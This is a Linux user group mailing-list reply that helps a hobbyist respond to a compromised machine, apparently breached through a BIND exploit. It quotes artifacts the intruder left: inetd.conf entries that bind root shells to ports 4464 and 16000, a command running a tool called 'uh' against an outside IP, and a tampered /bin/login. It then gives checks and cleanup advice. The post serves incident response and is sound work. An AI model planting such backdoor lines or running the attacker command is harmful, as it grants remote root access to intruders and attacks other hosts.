The traceroute to 212.38.131.178 reaches gw0-e1.index.com.jo (212.38.128.250) and then dies. FYI: Country code ".jo" is Jordan. What version of bind are you running? Your code fragment below looks amazingly like a stealth IRC daemon/server installed via the ADMROCKS expliot on bind. 1- Check /etc/inetd.conf to see if anything extra has been added This has been added Linuxconf stream tcp wait root /bin/linuxconf -http #swat stream tcp nowait.400 root /usr/sbin swat swat 4464 stream tcp nowait root /bin/sh sh -I 16000 stream tcp nowait root /usr/sbin/tcpd /bin/sh 2- Run /usr/bin/lsattr against: /usr/bin/dig /usr/bin/dnsquery /usr/bin/du /usr/bin/find /usr/bin/host /usr/bin/nslookup /usr/bin/top /bin/ls /bin/netstat /bin/ps /bin/login For each of those files, lsattr should output leading "--------"'s: -------- /usr/bin/dig -------- /usr/bin/dnsquery -------- /usr/bin/du -------- /usr/bin/find -------- /usr/bin/host -------- /usr/bin/nslookup -------- /usr/bin/top -------- /bin/ls -------- /bin/netstat -------- /bin/ps -------- /bin/login everthing here looks like the above except for login which looks like ----i---/bin/login If it doesn't, you've been hacked. 3- If you've been hacked, it's almost certain _other_ files have also been installed, parts of your configuration (in /etc) have been tampered with, and other nasty stuff has taken place. If you've been hacked, about your only _secure_ option is to re-install from square-one (remembering to also add security updates provided by your Linux distributor). To prevent a hacker reinfestation, if your Linux distribution contains an automatically configured firewall, install it. If not, get one (I recommend PMFirewall for newbies, see http://www.pointman.org). Hope this helps'idly, -S Joseph Johnson wrote: > > > I found this in my history file on a machine that I play around with when I > decide to try and learn Linux. > (sleep 300 ; killall -9 uh) > w > ./uh 0 212.38.131.178 1 65535 /dev/null & > I am pretty much a perpetual newbie. ( I do not do this for a living) I > know this systems been compromised. Short of reformatting the hard drive I > am not to sure what to do. Any help would be appreciated. > Joseph > josephj at mninter.net _______________________________________________ tclug-list mailing list tclug-list at lists.real-time.com https://mailman.real-time.com/mailman/listinfo/tclug-list